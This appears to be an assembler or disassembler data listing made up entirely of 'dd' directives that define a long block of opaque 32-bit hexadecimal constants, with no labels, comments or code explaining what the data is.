dd 231E5CD1h, 0DA00568Dh, 87DEC11Fh, 9430C01Eh, 69A07D4Ch
dd 0AA32203h, 0A3A2D271h, 0D68803F0h, 1C7DD40Eh, 3DC160E2h
dd 0D78EE0E3h, 7E322800h, 6ED1F35Ch, 36B9CE0Dh, 0BF145520h
dd 0B8183231h, 4B080F57h, 0B020D4C0h, 0FD785500h, 7D86F82Ch
dd 3F5C5D50h, 1CCD33Eh, 0DC69DF8Bh, 6E30C794h, 8021DC43h
dd 248CC9CDh, 70C01C8Bh, 0B301C632h, 0FDB50F80h, 281486F9h
dd 2DCD1481h, 2848A28Bh, 9867E20h, 3AC9CFDFh, 0AB72EE80h
dd 0D20AF010h, 0C4B8A8E8h, 5EF83283h, 2CC6F0AEh, 7E050604h
dd 21856B72h, 0C5B93Bh, 69B25D88h, 118C78DAh, 73BFA619h
dd 85733300h, 8DAE13FAh, 4C60A4Ah, 749C0536h, 69023A46h
dd 0D5A471CCh, 948AD980h, 652F35Fh, 553F0124h, 33D9BED5h
dd 4D88EF0Ch, 18550022h, 0D615376Bh, 1C545671h, 6D0C6398h
dd 128E9FB3h, 221E0EF5h, 27210ADCh, 0F413B1D8h, 1C924B9Bh
dd 70111F0Eh, 213B203Dh, 0A1B7491h, 774D38E4h, 3F058AB0h
dd 33500B3h, 4B8EC18Fh, 41725731h, 29F51174h, 0BFB5B980h
dd 46F23B59h, 0D7B8891Ah, 85A48519h, 6B323A80h, 1DACA844h
dd 762118D5h, 2FA711BDh, 448BE00h, 3C126F32h, 9F08CC4Ah
dd 0D300FC21h, 0A62CE4B3h, 3CCC7FF1h, 0A9EA49A1h, 5C213C1Ch
dd 0D8CCDF81h, 8A18FF8Ch, 2C9DA88h, 6057FCCh, 0A0905C50h
dd 0DF7F884Ch, 7EA1B700h, 0C023C6E5h, 203E6A6h, 0C81FD92Fh
dd 942087DDh, 12337D4Fh, 37A2EA68h, 0D8078BCh, 8F627DD7h
dd 4B823EDFh, 8C1DC287h, 3081D9F9h, 41BFD35Ch, 0D5D8B60h
dd 8CD2A084h, 0FFA499EFh, 0CBE8C103h, 0E044AACCh, 9FFE5F5h
dd 0E8FC181h, 0D5D11A81h, 1848D667h, 0C803A595h, 6FE533F7h
dd 0A49BB871h, 4C044C8Fh, 0B0BC2Ah, 0AE091BCFh, 0A0DF3368h
dd 0B7CA3814h, 32C300E4h, 0DA61792Dh, 5BB43A1Eh, 478F2F00h
dd 0EB65D9BCh, 7B46AA00h, 94B8DB40h, 0B5BE0012h, 0AD3E2830h
dd 583A95CDh, 2DB981F8h, 90DE4FC0h, 0AC50E0h, 29F2BC06h
dd 0ABAD52BBh, 14579E00h, 0ECB63308h, 0B47A003Eh, 0BF624388h
dd 0AEF26824h, 80DF4938h, 0F3EFD3ADh, 7C762296h, 0F821002Eh
dd 9BB4B7AFh, 7200C1EDh, 686D5F24h, 7139C909h, 0C01A00B5h
dd 8F10CF16h, 4138D04Ah, 115F802Ch, 57AF2A4Ch, 5EC0C0BEh
dd 7A25460Fh, 3444EA00h, 0B5851A30h, 0DEE8EF3Bh, 0F32900D0h
dd 0AEE561AAh, 461705D1h, 0CE019B2Bh, 84879ECh, 0C465F2D4h
dd 3363840h, 0CA393BC4h, 37F700DDh, 7C20ED21h, 0BE0B0176h
dd 7BCD6D1Dh, 0C9BF7A3h, 0C4E3C000h, 1FC53DD2h, 5C413C4Eh
dd 8F336707h, 0F224A014h, 27026118h, 4C8AF871h, 0D35D0097h
dd 0B4149810h, 3800170h, 0C5D1F916h, 0C17244h, 551E80A8h
dd 719A2648h, 0F4220E00h, 4511E336h, 58C83DE9h, 2629C981h
dd 9C010923h, 25C2D640h, 8038B52Ch, 0C2413DC0h, 764800C0h
dd 0E47CA922h, 46001494h, 0EC63C30Ch, 33DDC8Bh, 0C188B597h
dd 29E0D606h, 93003889h, 8C4FBCC8h, 1440F43h, 0DF70A359h
dd 0F8F35D54h, 320FAC27h
dd 8ACD9E30h, 4F00E0C3h, 415AA4EBh, 0CCA9007Fh, 36D46CC6h
dd 0E000E3E1h, 0A2181485h, 60D76B3h, 0D39C4755h, 5B07AEA4h
dd 0EAE7B221h, 53912FA0h, 45243F71h, 1A251E80h, 65A97E60h
dd 0F66EDC39h, 0C4B78F00h, 0FDA583BCh, 2E30009Eh, 0A93B5AB2h
dd 3E7284A2h, 0FCCB39h, 8B8EAD6Ah, 3969BBFh, 875D4414h
dd 7C80229Dh, 36183BD8h, 61C1BC2Fh, 8EDE097Dh, 24A1A757h
dd 248DA5FBh, 74F364C4h, 6E003738h, 0CF28053h, 0E452ABD4h
dd 480F0035h, 78EE4D7Fh, 50BF93AFh, 74F90BBDh, 0E7D49AF2h
dd 80993204h, 0C5E64CC0h, 0EE1A0ED1h, 0D88661B5h, 3B282074h
dd 0B400ACBBh, 5259D23h, 7D353785h, 99F400BCh, 613CD09Ah
dd 30C06BD1h, 0FC109579h, 0E9F50159h, 0B1EA6DAEh, 8244D1ADh
dd 0FC94B421h, 8DCE6083h, 0C3291CE8h, 745CCC31h, 9C017520h
dd 258CB026h, 0FD308D4Eh, 5908C64Dh, 7C1F200Eh, 0FC2B062h
dd 6056E957h, 0B7334F7h, 0FD0A4514h, 757F2C80h, 0F00036D1h
dd 6B211AEEh, 0E1E3C6Fh, 0B9E384D6h, 0C569EC23h, 0A7255000h
dd 18A30FF2h, 0BFCE07FAh, 106F9D53h, 0F38D98F5h, 472A7200h
dd 0A17918B2h, 607E2954h, 2DC8E220h, 548B9F30h, 0EEB87Fh
dd 0B2509447h, 2344F641h, 99FDF30Ch, 502A2177h, 0F47191A6h
dd 0DB3601BAh, 0F6D81BC6h, 0BB7D2018h, 499F8F1Ch, 0E44CED1Eh
dd 60A73880h, 7E7B416Bh, 0BC0060BDh, 9F17E04Dh, 2620ACD5h
dd 7C2DB4Ah, 732B7C43h, 49D880CBh, 0B3001B03h, 0D0CC7E9Ch
dd 3AECB4C9h, 0A680B1C6h, 982E34B9h, 2317CFCAh, 5D0048E5h
dd 0BB9742C3h, 10573CE8h, 4DE2B383h, 0AAC1F69Dh, 95ABE029h
dd 0A2E65203h, 0FAB123A8h, 218FC0CAh, 0D6F247h, 2A793F5Bh
dd 0ED114B19h, 1F56907h, 0B4406A0Ch, 0B3F84Ah, 7123C02Ch
dd 0A0C650A2h, 0D43EB000h, 15DA2F46h, 4FE2004Dh, 0CC084967h
dd 0B7008264h, 54148EB5h, 3838F86Bh, 0AE00E743h, 0B32ABE6h
dd 3D03BC2Dh, 20862819h, 411420Ah, 710057A8h, 0D5799C25h
dd 0A1F215h, 4FB481Fh, 84CC0A38h, 3662EB03h, 0CBBD357h
dd 0E0EDD538h, 6449729h, 611D20DFh, 22B8CF22h, 834244DDh
dd 21623711h, 4DA23F3Bh, 0BF7F44h, 0C4E9E2C1h, 0F9FD85B8h
dd 0EBAEF600h, 976B02FBh, 0AFED0167h, 9BC388A2h, 98BBFC5Fh
dd 7665AC06h, 0F809547Dh, 2E83005Eh, 0B4DC7B4Bh, 9F0015AEh
dd 0A4101EB8h, 0E86D06h, 2DA7E7C5h, 0E6DCED12h, 930029FCh
dd 73521562h, 0B744A0h, 807A0432h, 0CEADA7EBh, 8050BD3Fh
dd 9EFA585Eh, 68C63Eh, 0F4EDDFA1h, 13E5A953h, 94643600h
dd 0DD44BBBh, 0B021FC9h, 9F9880CFh, 1F268B90h, 9E239524h
dd 7A15A01h, 2880438Dh, 48D12E4Eh, 89009FEDh, 8294765Fh
dd 1CFE869h, 0FF13275Eh, 57246BDAh, 0A99370E4h, 4900EA3Ch
dd 756F3F2Ch, 75660B87h, 90BF61E3h, 8EC1363Dh, 0E02C525Ch
dd 0F7A2FDB6h, 0F8D00ED4h, 0C03EBB3Ch, 0B3BF4617h, 80481218h
dd 0E53910h, 0E05AB8F1h, 3F52ADFh, 0E6E785B7h, 508080DCh
dd 0D10F6B86h, 0FF0F4282h, 8CAF6A80h, 65D41Bh, 0EF71F134h
dd 0D9E6950Ah, 266EC400h, 6CE83974h, 0FDAACF9Bh, 3E162580h
dd 82007010h, 43AB767Bh, 9E3824h, 4E785620h, 0AE1F4133h
dd 7D0F1B98h, 0E0A88FCBh, 0C83DD50Eh, 715F0323h, 0E3FAF8CDh
dd 0AD2B6EE8h, 201B360Eh, 40F56F04h, 0C6F9A024h, 0E69D3A28h
dd 7EE52587h, 469F904Dh, 110050B9h, 0C12A2D20h, 1E343EE4h
dd 4033B0AAh, 2F4D8FE0h, 791DBA0Ch, 4400EE3Bh, 160934D8h
dd 1FF50180h, 42CE8BF3h, 0F09BE0Bh, 607DFD88h, 6B632A9h
dd 0ACD8004Dh, 8AFF09C2h, 0F0130AF4h, 50E65BBh, 226E80BEh
dd 1E7A2Ah, 211BBF71h, 2E5B02Dh, 0EDAD9A07h, 0C6708341h
dd 7573140h, 9BAE1C8Bh, 0EAC840E2h, 160A2B47h, 0F8BDC0C4h
dd 50E9BF00h, 4E8B9Dh, 84490A71h, 0C768D982h, 4C799F1Dh
dd 620FFA01h, 28206333h, 0CA3205Fh, 5026F307h, 4EB09A6Bh
dd 0D6374Dh, 0F1216EE7h, 0CA77F6Fh, 0C933DD02h, 801A9A53h
dd 0E8AA10ECh, 0BEF53079h, 89EB6498h, 32007EF6h, 60172550h
dd 0EB4A1A07h, 0EA3138E4h, 0D0C61DD8h, 8CF1C048h, 0DFE6FD7Dh
dd 0B5BB5E0Bh, 0C0CB0FE2h, 850F7CB7h, 0D5A00340h, 0F8A6AB6Ch
dd 83668AE8h, 720EE704h, 60C03493h, 0D212FCh, 0C341C94Bh
dd 0DD42AC44h, 0FB64E1Eh, 40B2DA8Fh, 12CD51C0h, 5C310079h
dd 583E3011h, 6A9C7B14h, 4027C3Ah, 37849169h, 15605527h
dd 0C01E53F5h, 803D1EB6h, 444D7416h, 1F075CC9h, 4095CF5Ah
dd 775243A4h, 1414F4BEh, 728C1762h, 352C3C00h, 3C1A171h
dd 0DD21002Dh, 51CFD60h, 0D8006D62h, 410C3504h, 5AB7C6h
dd 5BF2EDD3h, 0B53D9A14h, 5D8F4400h, 0D82BF0ECh, 0BA260F13h
dd 48207AD5h, 82377359h, 79558600h, 2FC038BBh, 0EA340075h
dd 0EE11BCD1h, 4600C369h, 0B4053907h, 0B0637h, 8B898241h
dd 0BC569B48h, 7FC45107h, 6D9049FFh, 0A7B277h, 0CD656A6Fh
dd 677C36E4h, 20B68B07h, 11933DDBh, 0D646F8D8h, 0E8552428h
dd 6F06004Ah, 2A64B525h, 89AF0D01h, 37ED9773h, 117AFCh
dd 0CDD5687h, 5BA23188h, 0DC668001h, 0AF5835EBh, 0D10FCh
dd 73403237h, 9A337459h, 80B15A00h, 89F47E3Ah, 1B9B0272h
dd 4FFB7C28h, 2BC4B582h, 0FC0064CAh, 6C7CDF9h, 990A2573h
dd 0FE015391h, 806F1409h, 398CCE4h, 0DEFB00E4h, 5B6C8679h
dd 6807203Eh, 0A716C878h, 58412E60h, 1A40066h, 3BE39DADh
dd 0D0E57C7Eh, 6F162581h, 0C8001AE8h, 220EA524h, 17DF032Eh
dd 0E6119274h, 0CF67C0D7h, 9B00BE3Bh, 76715CA9h, 38CED54h
dd 6A2D752Ch, 0CF88CB1Eh, 72F0090Ch, 0B97A4D07h, 8625637Bh
dd 20658800h, 1710437h, 6866432Ch, 0D94D5C27h, 0E3F60CFh
dd 0B6D1CC06h, 0F809C40Dh, 22E50256h, 8BBAB7B3h, 62603860h
dd 0F10BFF00h, 383A3F79h, 8DCC00C6h, 51982F90h, 0F50086FBh
dd 0F3CAF0A5h, 3AC53B6h, 5D36CE49h, 9980F48Ch, 9200D424h
dd 6FDC4BC1h, 387957C0h, 400773Dh, 6582449Ah, 0BD00AB52h
dd 0A362D57Fh, 13A692AEh, 722FA4h, 0AFAA4364h, 0D133032h
dd 4000826Bh, 885A6619h, 0BDCB07F6h, 0C03722B7h, 0C9EAE609h
dd 2814B139h, 0C100EC86h, 0E77F90D3h, 7891E546h, 0F127322h
dd 0F7B1CBE9h, 6ABC3100h, 0C43F9BD8h, 81EA8076h, 0F5E20194h
dd 39542449h, 0DC11009Eh, 7F556F79h, 0EB0B3000h, 4E5782Dh
dd 0CAD40091h, 0EA4A38BEh, 4E1D5221h, 1D13029Bh, 26488C02h
dd 0DD700009h, 0AA00E397h, 0F5ED28B6h, 3FF1A6Eh, 1D5FB2BEh
dd 0A00087B5h, 0A7DACC2Ch, 0A15436D2h, 2C08698h, 536E3C50h
dd 642F2Ch, 80196520h, 9EEE3703h, 1396E21Dh, 560068A4h
dd 0A31D68E9h, 146100ECh, 1673F2A4h, 6F0EEE6Eh, 0C07B4F22h
dd 0B9E98823h, 0BAFF00B1h, 0A9FBD4BFh, 0F568ACD2h, 0DE809008h
dd 0C1DF9D3h, 0F18D0E6Fh, 0AB80B8A0h, 97A8C046h, 0BD588C00h
dd 0F47DCA66h, 708E1ED1h, 3AC1C035h, 0BE06AD3Bh, 0D8EDC600h
dd 88CA50B6h, 0B01A0555h, 71DFE10h, 0E022F88Ch, 120E4EA7h
dd 50050C90h, 85207F84h, 0A2D68800h, 78A9456Fh, 0FCF81673h
dd 888C4C2Ah, 9100D820h, 63B2C279h, 240C70B8h, 4045EF9h
dd 880E21Dh, 0F69B80CEh, 5B2D87B2h, 63F29FA3h, 6DE83448h
dd 0A1D41300h, 1EE4755Eh, 657D0227h, 7CC77E7h, 0A087D480h
dd 8B006922h, 0D726607Ah
dd 0BDE354CFh, 1D004178h, 7ED0A9C8h, 617CF99Eh, 9F9AE8F7h
dd 98740236h, 973DA9Ch, 68B9E5EAh, 0E6D1E000h, 6017F16h
dd 31DEEB4Ah, 1C205AD6h, 1CB9589Ah, 29F42800h, 57AC817Ah
dd 54005074h, 4119BE60h, 1F7FF169h, 406D7296h, 7D053D0Eh
dd 0B900EAEDh, 9BBDDDFEh, 30135AFh, 0F08D2BFFh, 60D0E161h
dd 0DF00ABD6h, 7464B3B0h, 4148DCh, 8E3D2A2Bh, 8CC40820h
dd 0BB816800h, 14BDEE36h, 21DE018Fh, 282FA3D9h, 0CA842054h
dd 3A0084FAh, 46D9069h, 737CA1h, 19549857h, 53359F10h
dd 2AEE7B05h, 24C70399h, 3CDACFB0h, 0FAD700F2h, 0F87A6B65h
dd 3000AF89h, 0E702CC78h, 0E2E3F87h, 851B4DE3h, 95FCAA0h
dd 3AF413C9h, 1A0B9907h, 0DBF0B596h, 1D1CE494h, 0C082B6FEh
dd 9A12F3CFh, 6400BE1Eh, 0D9511042h, 0C0CAEEh, 0FB153F41h
dd 7F76D768h, 0C73B8600h, 0A61A321Ch, 0EDA437DFh, 25426028h
dd 0D900E8EBh, 14473CD8h, 0C475D01Fh, 0D072B621h, 0B7372DF4h
dd 0C37DF500h, 23967B69h, 1C1F3B2Ah, 2CB03C00h, 2E24E774h
dd 2D7F2100h, 8BDE98D1h, 78AF0096h, 0CEC6D7A8h, 0BB00B08Eh
dd 0E2220B6Eh, 3ADF401Ah, 2C89D90Fh, 0D020BEE8h, 0D76B8E7Bh
dd 43AC8D0Fh, 50FCC6C8h, 2AE2F4A6h, 0ADC5AFDh, 55348F95h
dd 633700DDh, 0D48246C0h, 0AFB9A509h, 120D8070h, 0B8152507h
dd 0E6C500AEh, 82F84D2Bh, 0AA00B32Fh, 494C99A1h, 21E41Bh
dd 8C193431h, 0D1F546D0h, 38F3653Ch, 0F2DA89F7h, 81B8A0F8h
dd 4C0CCED3h, 5E038D14h, 0EE097FA0h, 0B44860DAh, 0F500F2F6h
dd 4933E683h, 2D89FA3h, 0D1D97D1Eh, 28416275h, 0BC4C804Bh
dd 21F9C941h, 0A0931FB9h, 3BF74286h, 5C5060FBh, 0C147AA0Eh
dd 0D94C4064h, 96E90DDAh, 38D70058h, 8B6C1783h, 4E6B581Eh
dd 0DA002E5Ch, 0B23C6172h, 91B62CB8h, 0C05CBD48h, 36404C8Fh
dd 0B7CEF774h, 0C7F97001h, 23246DB1h, 2100A82Ch, 0F472F095h
dd 3B015150h, 0D72F46B4h, 0D3E47387h, 605B0006h, 0F5C8B936h
dd 0C113FE7Bh, 2000F72Fh, 123E3373h, 82F60083h, 0ACF33BDEh
dd 0AF3D756Fh, 185F007Eh, 0A0DAF28Eh, 0C7AB00C3h, 87C2382Fh
dd 0D60002A2h, 0DDA7AE2Dh, 75AA364h, 1DD8B74Bh, 9802036h
dd 5401E417h, 0EB96C1D0h, 62005B99h, 892CAA7Dh, 813EB46Ch
dd 70555065h, 0D4234C67h, 8E4F371Dh, 8D20BEF3h, 46C1BFFEh
dd 0C277FD1Ah, 0B5E24008h, 0E7C30BD4h, 1080CF89h, 0B0C1E70h
dd 0B5E54896h, 0DD55F4C0h, 9ED116C9h, 8E6C409Bh, 60C8474Ah
dd 6708B00h, 50973D33h, 7C9A022Bh, 0F093E4BEh, 34AE1E0h
dd 0AD5E3500h, 0B3A71CEDh, 0ECFC50F1h, 0C89902F2h, 0C906CB49h
dd 70662461h, 3E75633Ch, 1876039h, 39379179h, 26F9E8F7h
dd 3E64FC51h, 0EE3D7838h, 0BE02A300h, 639DC355h, 0BBD3B102h
dd 0C3762986h, 467800DDh, 4371F733h, 6877C6E1h, 36E3590Bh
dd 48768008h, 16417AEh, 0DFF1A6D2h, 6057B421h, 0F20E2F8h
dd 0B8FC3020h, 0ED7C92E8h, 0CC1CEE4Bh, 0C40CA1C0h, 16410h
dd 0F8B2CC31h, 7E92E7B6h, 6C13C003h, 9872C94Eh, 204F57h
dd 0D22CEA3Bh, 7360F954h, 933CC807h, 1920F628h, 0DB3C1h
dd 0C29BE3D9h, 9C7D51D7h, 0B4C6550Eh, 1BADE00Ch, 0A3A6Ch
dd 984F8650h, 5C91326Dh, 8F01E900h, 52C42DC8h, 43331280h
dd 41540034h, 0FBBACF11h, 0A8EB9802h, 22D323h, 13B6E935h
dd 44781F7Dh, 81D6CF3Ah, 6D4508D9h, 1BD4897Bh, 6CE300A0h
dd 59063961h, 0FB01CBF1h, 7624414Fh, 0C6CCE91Dh, 0E7850005h
dd 1ADAF334h, 8A031401h, 63FFFE50h, 0F4A1C0F6h, 7BA27278h
dd 0F840923Dh, 8CBF0EC9h, 8EA7CFCBh, 0DAC551F5h, 0DBC4F042h
dd 17BE0F00h, 18558B38h, 4C91067Bh, 8923C23h, 5DA3350Fh
dd 60774236h, 2968E010h, 251700F4h, 0CE4E5F50h, 7D004F52h
dd 3641834h, 2866006h, 48EEBD1Bh, 644094CCh, 9117EF0Dh
dd 69093AF9h, 79C0C851h, 60144C39h, 9B13F001h, 3097ED5Eh
dd 3B003254h, 0DEFE6DA3h, 16DC4A85h, 0B477FFh, 0F2248FECh
dd 75093CC3h, 140A8C48h, 0C12C4560h, 894C0020h, 2ED8E196h
dd 61AD04B5h, 0F60B0EFFh, 8D6809B4h, 4A748130h, 0EC400F08h
dd 0F6BEF2Fh, 0B5B3E752h, 0D9D0240h, 8C00CF78h, 1FA666DAh
dd 3AD7226h, 0FDA9D09Eh, 0FB95FCA5h, 0DBA1B00h, 44A6EC2h
dd 5F32A719h, 0BFC88001h, 520196F9h, 8E30B72Ch, 0A5603873h
dd 2A4B00F6h, 0ADC51560h, 0C70016BDh, 0BE4CF1Fh, 0AB3EFEh
dd 811B668Ah, 821C998Ch, 6801AF98h, 3383F660h, 0D0314B06h
dd 0DF2004Eh, 0C856EB33h, 11A829Ah, 0D118F843h, 20533174h
dd 0B533E04h, 0D7191EB0h, 0ECA92F00h, 0F5D807h, 0C4A386D4h
dd 782EAACAh, 4EE58301h, 4597F814h, 0DF10CCh, 326798F1h
dd 0A7926241h, 0C75DD700h, 17F36B68h, 3D5700D6h, 0E732AD2Dh
dd 84002E0Ah, 2DA700Dh, 3BD1B3CEh, 17A8348h, 5463E805h
dd 0E03DA70Eh, 0F100FA16h, 9E7E6CC2h, 1F59205Dh, 40FD2EECh
dd 9CB7ACA0h, 0E40940FEh, 68F3BE92h, 1CB2C87Ch, 0E57B0810h
dd 26ED5080h, 51005E50h, 0BE8AC644h, 3FA31322h, 0BF14742h
dd 0DEE566D9h, 939D3100h, 214BD5F2h, 24A7F0h, 0F7C6CF18h
dd 0EBF95C39h, 430FA890h, 0C069861Ah, 5191E0DFh, 0D313122h
dd 395ADA71h, 0CBB601C0h, 83AFD6F1h, 61C7D2D0h, 0DBAC188Ah
dd 0F95FE0FFh, 53103C60h, 0E85117F1h, 1EC11CB3h, 625240E9h
dd 0EDEE1F89h, 7162900h, 0D5548093h, 0D4923EAFh, 9D38BD30h
dd 58C08450h, 0DD9F32Dh, 0B7390071h, 0CB297354h, 462C7225h
dd 5A801434h, 74CE224Fh, 0ACEA2Eh, 0A480A7E3h, 0FF4BB49Eh
dd 1C004E5Ah, 84EBC33Dh, 71080C8Ch, 0F30897ECh, 2253910Ah
dd 0DA42B043h, 0D878AC74h, 394F00D6h, 0DC2D37E3h, 6200857Eh
dd 7887A563h, 23E1FA1h, 4B5D79EBh, 10401CE9h, 0A007C02h
dd 225FDEEFh, 1F9E7688h, 804817E3h, 82E42E12h, 78008187h
dd 393FB126h, 7BAD19h, 7083C292h, 73FC2299h, 0FB467D00h
dd 0C5BD8D01h, 77960E1Ah, 1942BC11h, 6440C49Bh, 0FC00D4ACh
dd 0EF11202h, 0EBEEC2h, 0BDC90CC7h, 7922384Dh, 9D32BB00h
dd 241D041Ch, 0D0F001B2h, 0A6DCBCD1h, 31A3FC43h, 36616607h
dd 54F23CDAh, 0DCC0A07Dh, 0ECD5FE1h, 911DA0F5h, 4611D107h
dd 0C20021A1h, 9B724A6Bh, 15FE2E71h, 0B83E92A9h, 0D2ABA500h
dd 0CF362F0Dh, 0BB538E00h, 0A3A81FADh, 1784A226h, 80AD9138h
dd 339E37C8h, 1FB2002Bh, 3D86BC69h, 0DCA82045h, 0F800CB83h
dd 0C1F9F602h, 2249EAh, 15E3F29h, 0E27DA96Bh, 0B67EFD01h
dd 3630206Eh, 0F52D3980h, 0AE7C3795h, 0E70A1F78h, 5430F2D7h
dd 1AC465Eh, 592338B9h, 0D6C87F88h, 0BF704C1h, 7990BAh
dd 0EA1448D7h, 33779Ch, 0B3863216h, 585EF809h, 1D004892h
dd 91EB652Ch, 328470C8h, 0DC08FDDAh, 0F0CE8048h, 76F6500h
dd 0BDF705A0h, 0C7C1C023h, 7B5E8A9Ch, 0A61083E7h, 8001555Ch
dd 0B6C003h, 98B05BD9h, 9041F4BEh, 9305400h, 1A2AF28h
dd 92EA4Ah, 136C3E53h, 6BB4DC96h, 0FD02E800h, 2AA04126h
dd 0CA5900CDh, 0C3B825F9h, 100A556h, 0DC0D37A3h, 48909D2Ch
dd 8F00C8F7h, 5F7A3527h, 5A004348h, 0F225742Fh, 3CC47E01h
dd 373751AFh, 80C06530h, 0F60511C9h, 4DB07000h, 0BA04A154h
dd 89DA1C43h, 0BBD84FBFh, 0C19F6283h, 0E8FCF1E8h, 82C5E100h
dd 326910A0h, 8EEC0E5Eh
dd 9D40BBA5h, 6ABFF54h, 0C886330Eh, 5E81C035h, 0E3A8E03h
dd 0E08044A1h, 51059AE0h, 0FC3A0EEBh, 0FE6C06FFh, 22187609h
dd 1F009779h, 0E5400B25h, 18E8FC5h, 0FE0CBBCEh, 10857A59h
dd 3C1CB903h, 0E03E82C4h, 4700B338h, 0E430747Bh, 27002BC5h
dd 0D01D58C2h, 9E0FE3h, 1F322205h, 8C67083Ch, 7D937300h
dd 0C22040B9h, 87ED1FD6h, 3DF5EE53h, 0F1C4B080h, 3451A466h
dd 8600037Ch, 0E55BE0CEh, 1E1C45F8h, 0C0FBC306h, 922E5407h
dd 8D3A1462h, 42E9137Eh, 8808A719h, 69FB2180h, 121E7714h
dd 45D0D117h, 0B703C5B8h, 0B22E9C2Dh, 7D993A80h, 60F03801h
dd 0DF1A6FB9h, 28B3A9E5h, 3094E670h, 238A4759h, 96116A7Eh
dd 1460C400h, 75FFC73Bh, 0A18AAF00h, 0E938A44Bh, 0E7742Ah
dd 0B95F4EF4h, 0B242333Fh, 9E55920Fh, 90518C9Fh, 34D00A0h
dd 678977C1h, 9C680B8h, 2055A8h, 1204C5C0h, 4042E151h
dd 0CF1B1A0Eh, 0BFB0581Dh, 4ECA0D75h, 0C051F589h, 4838F71Bh
dd 0A7449FF3h, 3121CE99h, 0A550F888h, 2FF8D806h, 0F42B0030h
dd 459DFCBBh, 9538251Dh, 8F3B80D1h, 65153298h, 0ECA2F40Ch
dd 0D0083B2Fh, 50B640E0h, 66313D9h, 98C5CCh, 0FC467390h
dd 385836D5h, 56B66A07h, 19503D1Dh, 3A1FD6h, 8C2A4466h
dd 0AC6EEBADh, 0E1DE1C00h, 107CFCDh, 2B370093h, 9A9D038Ah
dd 3F90761Fh, 8F00C17Eh, 187A0C5Eh, 60C58597h, 410A11BBh
dd 0E801B4E9h, 0D463704Eh, 3E8AA82h, 0ED2E00B1h, 480CADF1h
dd 2F007B8Fh, 3704D515h, 9C9C271h, 0F5554B3Dh, 5DDAAC83h
dd 4585068h, 46E418F4h, 7CA61009h, 48D21424h, 171B003Dh
dd 305D8C45h, 0E460031Dh, 3A76AC5Fh, 2903A431h, 94111A62h
dd 656B1172h, 151E02F6h, 0CA210E24h, 42B81774h, 0A24124Ah
dd 12267E21h, 66B01003h, 80193688h, 220062F1h, 466D959Eh
dd 3CF4F6h, 263E8E66h, 35CC8463h, 0B4559C00h, 0C5D0A1E6h
dd 9EC600B3h, 0B98144DBh, 0DD0025B2h, 0D4FD94A7h, 45103h
dd 12D01068h, 0E596EACEh, 0BA540D00h, 4C9CEDDCh, 31F22Eh
dd 0A0B5C7D0h, 0E6B0647Dh, 3B551900h, 0E42FDD07h, 0F1719Ch
dd 8B2C931Ah, 6BC5CD8Eh, 86F6DB00h, 7CBFA9E8h, 0A7DE00E0h
dd 6774559Bh, 7660B3B5h, 6B9A3F56h, 0F88C3CF7h, 5C53EA80h
dd 0F20927AFh, 1F9C7300h, 7F3067F3h, 8CEC00D5h, 520312C2h
dd 1002C07h, 5EF659Ch, 0B23CF5h, 385F0468h, 2AFD859h, 8017EA3Dh
dd 92875011h, 847E2Bh, 52F6D47Bh, 0D5B4A5A8h, 19EFBC12h
dd 32630800h, 42CECCh, 669A102Ch, 9EAF383Ch, 3D03CB00h
dd 1E69EE84h, 4FB13E6Eh, 902FD200h, 8D2489F4h, 0CCA01F73h
dd 0FC3F5C77h, 0BC8181D1h, 98A4BF0Ch, 119BE0h, 0E6E2BDBh
dd 3DAEB631h, 0C491C114h, 5D007E8Ch, 0AC3929B5h, 50FDE5FCh
dd 7ACAA2h, 0F9CED666h, 2BF7AD3Ch, 0E9986F00h, 0BBAC386Dh
dd 3A8F0E52h, 0B061AF81h, 248DE742h, 9800A974h, 0BDF81A03h
dd 5261F7h, 0ACBFA112h, 0F62AECC4h, 75C77100h, 873B9AB8h
dd 85F88Fh, 6972BE90h, 0FADD4953h, 201ECE4h, 0A5883A2Eh
dd 77E89E34h, 0B7600F5h, 0CAD33959h, 0A00D5B1h, 9B1A1F1Eh
dd 1EA46C45h, 47CCB7FEh, 0E496DBD8h, 9C08061h, 6D00C9BFh
dd 93F15AC7h, 0F4454B9h, 71177337h, 5B3D8921h, 4E12D8E4h
dd 19E9A000h, 8A694F86h, 0B4240097h, 5917F5C7h, 53007568h
dd 5A6A0750h, 67FBAFAh, 3BEE0394h, 0EA0018FDh, 0C461808Fh
dd 3A26F031h, 0E7808A93h, 8D02CCF5h, 0A1F6A930h, 0F304F400h
dd 77613B0Bh, 0E83D00EAh, 6A392C76h, 0B40032F5h, 0EB50C830h
dd 0AB58EFh, 8254DDAAh, 0E6B160D0h, 60CCE00h, 0B79EB3F2h
dd 3FBB003Ch, 518E0785h, 67034F27h, 6B5E46A1h, 0D63A873h
dd 7AD50E5Bh, 0CF1FCCBDh, 0A0804F02h, 0FA1AE032h, 7C4DD600h
dd 2391CF18h, 941D0008h, 0C7E18007h, 7A7AC3C4h, 0B5C5F300h
dd 51D81BEFh, 0A5CD01A1h, 0F58533DBh, 39BE8DCh, 0B48D360Fh
dd 1D12A65Ah, 0E0A600D4h, 4FC4023Fh, 3000EEC1h, 0C99528BEh
dd 7C910679h, 0A4010E07h, 8C421FBFh, 0D7E04A4Dh, 0A97C6580h
dd 0F0689D00h, 8A7FD04Bh, 7D4300FBh, 38977B82h, 0D6F0E68Fh
dd 0BDD7A1Ch, 0CAFC9307h, 8D212E20h, 9DCE00A9h, 0D085BEA6h
dd 0A800E489h, 0F7B38236h, 206B8DAh, 5A875701h, 0DF8067AFh
dd 0DECA8B02h, 0EA4D2B1Dh, 0B56D81C0h, 3ACBFB76h, 5787789Fh
dd 0D3E2DD82h, 0B4807A43h, 2300F43Ah, 89F9C5D8h, 0F9F3E10h
dd 1C517B86h, 0AD5A6F40h, 9C0108EEh, 7FF29237h, 2E606AF8h
dd 87FF1C3Eh, 0D89881AAh, 206242A6h, 2C001C8Ch, 3F869974h
dd 806B7Ch, 4456A86Dh, 7D849240h, 0DD97ED00h, 0E9765AF2h
dd 0CDDE00DBh, 0A5530FB6h, 9D0033FEh, 0B2AB5F38h, 9522C7h
dd 514768A1h, 0DD81B85Bh, 82005DFAh, 0AEFE96E8h, 0DC12D3h
dd 0C4A6ECA8h, 0F1C9C1A1h, 245EAA00h, 2E6BDDFEh, 57400090h
dd 1CE3D292h, 30029CF8h, 0E1028DEDh, 8F02E067h, 342C0E04h
dd 5940C95Eh, 0C6E81CB8h, 510EC201h, 653AC3ECh, 0E12F3E4h
dd 2CE904Dh, 869B360h, 5200DA82h, 0D9FC578Ch, 32ED8BDh
dd 0CDAF926Ch, 7AA80B6Ah, 681D8034h, 0F3802779h, 437EBAC8h
